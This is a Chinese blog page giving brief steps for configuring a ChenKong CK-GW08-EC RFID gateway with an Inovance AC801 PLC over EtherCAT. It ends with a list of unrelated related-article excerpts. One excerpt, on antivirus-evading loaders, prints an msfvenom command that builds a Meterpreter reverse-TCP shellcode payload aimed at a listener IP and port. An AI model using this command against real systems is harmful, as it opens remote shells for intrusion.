晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册
晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册
晨控CK-GW08-EC是一款支持标准工业通讯协议EtherCAT的网关控制器,方便用户集成到PLC等控制系统中。系统还集成了8路读写接口，用户可通过通信接口使用EtherCAT协议对8路读写接口所连接的读卡器进行相对独立的读写操作。
本期围绕着晨控CK-GW08-EC通过EtherCAT协议与汇川AC801系列PLC通讯组态问题：
0、准备阶段
软件：InoProShop(V1.7.3)
PLC：AC801
RFID读卡器：晨控CK-GW08-EC
1、新建程序
2、在网络组态中开启Ethercat主站功能
3、点击导入ECT文件，导入完成后在右边网络设备列表中选择添加导入的设备，
4、添加后，右边打开添加的识别，点击EtherCAT I/O映射查看映射的输出输入的IO首点是多少。
5、根据输入输出的IO首地址在全局变量中映射成数组方便使用。最后点击在线将组态下载到PLC中即可连接完成。
注：网关有八个通道，需要将数组分成输入输出各分成8个，每个通道占用20个字节，对应的分配IO根据通道顺序来分配。
相关文章：
晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册
晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册 晨控CK-GW08-EC是一款支持标准工业通讯协议EtherCAT的网关控制器,方便用户集成到PLC等控制系统中。系统还集成了8路读写接口，用户可通过通信接口使用EtherCAT协议对8路读写接口所连接的读卡器进行相对…...
向上or向下调整建堆 的时间复杂度的本质区别的讲解
知识点：（N代表节点数，h代表高度） 1：高度为h的满二叉树节点个数N为 2^（h）-1 即N 2^（h）-1 2：所以h log（N1） 一：向上…...
阿一网络安全实战演练之利用 REST URL 中的服务器端参数污染
所需知识 要解决这个实验室问题，您需要了解以下内容： 如何确定用户输入是否包含在服务器端的 URL 路径或查询字符串中。如何使用路径遍历序列尝试更改服务器端请求。如何查找 API 文档。 这些内容在我们的 API 测试学院主题中有涵盖。 进入实验室 研…...
[游戏开发] LuaTable转string存读二进制文件
UE5和Unity通用此方案，只不过读写文件的接口略有不同，lua代码的处理是相同的。 下面两个方法是 LuaTable和字符串互相转换的代码 function XUtils.luaTableToString(tab, sp)sp sp or ""local s ""for k,v in pairs(tab) doif t…...
光伏业务管理系统的一些妙用功能
现在信息化流程化基本上每个行业都必须要有的了，光伏业务管理系统软件是一种专门用于光伏产业运营和管理的综合性系统，它结合了信息技术、数据分析、项目管理、客户管理等多个领域的知识，为光伏企业提供了一个全面、高效、智能的管理平台&…...
Java面试八股之请简述消息队列的发布订阅模式
请简述消息队列的发布订阅模式 发布订阅（Publish-Subscribe，简称 Pub/Sub）模型是一种消息传递模式，它在组件之间提供了高度的解耦和灵活性。这种模式广泛应用于分布式系统、事件驱动架构以及消息队列系统中。下面是发布订阅模型的…...
七、2 ADC数模转换器有关函数介绍（Keil5）
函数介绍 （1）ADCCLK的配置函数（在rcc.h中） （2）ADC的库函数（在adc.h中）...
了解载波侦听多路访问CSMA（上）
1.CSMA的思想 CSMA的全称是Carrier Sense Multiple Access，在笔者的理解中，其更趋向于一种理论研究的随机接入协议，或者说，基于其思想诞生了比如CSMA/CD与CSMA/CA这样的具体协议。CSMA可以分成以下三种： 1-persistent…...
开启教育新征程：“集师” 知识付费平台搭建
在教育培训行业竞争日益激烈的今天，如何脱颖而出，实现知识的最大价值？答案就在 “集师” 知识付费平台搭建！ “集师” 为您打造专属的知识付费平台，提供一站式解决方案。无论您是专注于学科教育、艺术培训还是职业技能…...
Vue3 + Electron 创建新的子窗口 且子窗口唯一
main.js const { app, BrowserWindow, ipcMain } require(electron) ...ipcMain.on(window-create, () > {createChildWindow() })let childWindow nullconst createChildWindow () > {// 如果窗口存在 先销毁if (childWindow) {childWindow.destroy()childWindow n…...
海康VisionMaster使用学习笔记2-相机取图及参数设置
相机取图及参数设置 1. 关联相机-相机管理界面 除了以上两类外,第三方相机都可以通过全局相机进行连接 2. 相机参数设置 相机连接 跨网段IP,枚举 图像缓存数量 实时取流,断线重连 只有支持组播的相机才可以实时取流 触发设置 触发源 LINE0 可以保护电路 LINE2 可配置输入输出…...
【网络】【Linux】Linux内核中连接的组织形式与全连接队列
Linux内核中连接的组织形式与全连接队列 文章目录 1.前言2.Linux内核中连接的组织形式2.1套接字和文件描述符2.2创建连接 & 获取连接 3.全连接队列3.1为什么有全连接队列？3.2全连接队列的长度 1.前言 TCP是面向连接的，TCP的各种可靠性机制实际都不…...
记录一次 npm ERR! cb() never called! 解决过程
gitlab cicd过程，使用docker部署Vue3前端项目，报错如下： 针对 npm ERR! cb() never called! 这个报错，网上有很多解决方案，大都是清空缓存，重新运行npm 之类的。笔者全都试过，无法解决问题。笔者…...
WEB渗透免杀篇-加载器免杀
SSI加载 https://github.com/DimopoulosElias/SimpleShellcodeInjector生成payload(c) msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.0.108 lport12138 -f c -o shellcode.c执行 cat shellcode.c |grep -v unsigned|sed "s/\"\\\x//g"|sed &quo…...
什么是反人性设计？
目录 一、什么是人性？ 二、什么是反人性设计？ 三、有哪些反人性设计？ 一、什么是人性？ 人性，通常指的是人类共有的基本特质和行为倾向，它涵盖了一系列心理、情感和社会属性。人性可以从多个角度来理解&a…...
如何进行长截图的两种方法
前言 本文主要讲2种截图方式，分别是谷歌和QQ。 谷歌分为Web端 和 移动端，选一种即可。 第一种：谷歌浏览器控制台自带的 1.先把控制台语言更改为中文，方便查看 ①.按F12，点击设置面板 ②.修改语言为中文并关闭 ③.点击…...
基于轨迹的汽车跟随系统横向控制方法
A Trajectory-Based Approach for the Lateral Control of Vehicle Following Systems 基于轨迹的汽车跟随系统横向控制方法 Abstract Abstract| A crucial task for steering an autonomous vehicle along a safe path in a vehicle following scenario is the lateral cont…...
2024年8月15日嵌入式学习
今日主要学习线程和线程的互斥锁 pthread_cancel函数 它用于取消一个线程，当一个线程收到取消的申请时，他不会立即停止，而是在下一个取消点处结束运行，取消点是程序中一个特定的位置。如果线程在执行一个不可中断的系统调用&…...
C++引用和指针的区别还分不清楚？
不像其他语言，c既有引用的概念、又有指针的概念。 很多人用着用着就懵了。 不用慌，给你画个表格协助判断。 总体上，我们可以总结为以下五个区别： 一、定义方式： 指针通过使用 * 来定义，例如࿱…...
【Cesium开发实战】相机捕捉功能，获取当前视图，设定分辨率可下载当前视图图片
Cesium有很多很强大的功能，可以在地球上实现很多炫酷的3D效果。今天给大家分享一个相机捕捉功能，支持可以按照设定的分辨率下载当前视角的缩略图。 1.话不多说，先展示 相机快照 2.设计思路 根据项目需求要求，点击快照捕捉按钮可截取当前视角视图为缩略图，并弹框可输入视…...
java中的类是数据类型吗 类作为引用类型的特点
Java中的类是数据类型吗？当然是的。类属于Java中的引用类型（reference type），这意味着当我们创建一个类的例子时，它实际上是在堆内存中分配空间，而变量只存储这个例子的参考。作为一种参考类型，…...
AI 模型推理性能瓶颈与优化方向
AI模型推理性能瓶颈与优化方向 随着AI技术在各行业的广泛应用，模型推理性能成为影响落地效果的关键因素。无论是实时交互场景还是大规模数据处理，推理效率直接决定了用户体验和成本控制。受限于计算资源、算法复杂度及硬件适配性等因素，AI模…...
Phi-3-Mini-128K高并发服务架构设计：负载均衡与自动扩缩容策略
Phi-3-Mini-128K高并发服务架构设计：负载均衡与自动扩缩容策略 你是不是也遇到过这种情况？自己部署的AI模型服务，平时用着挺好，一旦用户量稍微上来点，或者有人发了个长请求，服务就卡死甚至直接挂掉。然后就…...
攻克Windows安装难题：AtlasOS全方位解决2502/2503错误的技术方案
攻克Windows安装难题：AtlasOS全方位解决2502/2503错误的技术方案 【免费下载链接】Atlas 🚀 An open and lightweight modification to Windows, designed to optimize performance, privacy and security. 项目地址: https://gitcode.com/GitHub_Tren…...
Auto-Photoshop-StableDiffusion-Plugin中文适配终极指南：让AI绘画更懂中文用户
Auto-Photoshop-StableDiffusion-Plugin中文适配终极指南：让AI绘画更懂中文用户 【免费下载链接】Auto-Photoshop-StableDiffusion-Plugin A user-friendly plug-in that makes it easy to generate stable diffusion images inside Photoshop using either Automat…...
手把手教你用STM32H7S7实现高速USB复合设备（CDC+MSC）：从CubeMX配置到性能优化
STM32H7高速USB复合设备开发实战：CDCMSC架构设计与性能调优 在嵌入式系统开发中，USB复合设备技术正成为连接智能硬件与主机系统的关键桥梁。STM32H7系列凭借其Cortex-M7内核和480Mbps的高速USB外设，为开发者提供了实现高性能复合设备的理想平…...
如何让2008-2017年的老款Mac重获新生？OpenCore Legacy Patcher终极指南
如何让2008-2017年的老款Mac重获新生？OpenCore Legacy Patcher终极指南 【免费下载链接】OpenCore-Legacy-Patcher 体验与之前一样的macOS 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 还在为手中的老款Mac无法安装最新macOS…...
LiuJuan20260223Zimage网络安全攻防演练：模拟攻击与智能防御
LiuJuan20260223Zimage网络安全攻防演练：模拟攻击与智能防御 最近在捣鼓一个挺有意思的AI工具，叫LiuJuan20260223Zimage。这名字有点长，但功能确实让人眼前一亮。它不像那些只会聊天或者画图的模型，而是专门针对网络安全这块&…...
3个关键技巧优化华硕笔记本性能：GHelper完全指南
3个关键技巧优化华硕笔记本性能：GHelper完全指南 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops. Control tool for ROG Zephyrus G14, G15, G16, M16, Flow X13, Flow X16, TUF, Strix, Scar and other models 项目地址: ht…...
Lingbot-Depth-Pretrain-Vitl-14 结合Transformer架构：深度估计模型优化实战
Lingbot-Depth-Pretrain-Vitl-14 结合Transformer架构：深度估计模型优化实战 深度估计，简单来说，就是让计算机从一张普通的2D图片里，“猜”出每个像素点距离相机的远近。这听起来有点像我们人眼在看世界时，能感知到的…...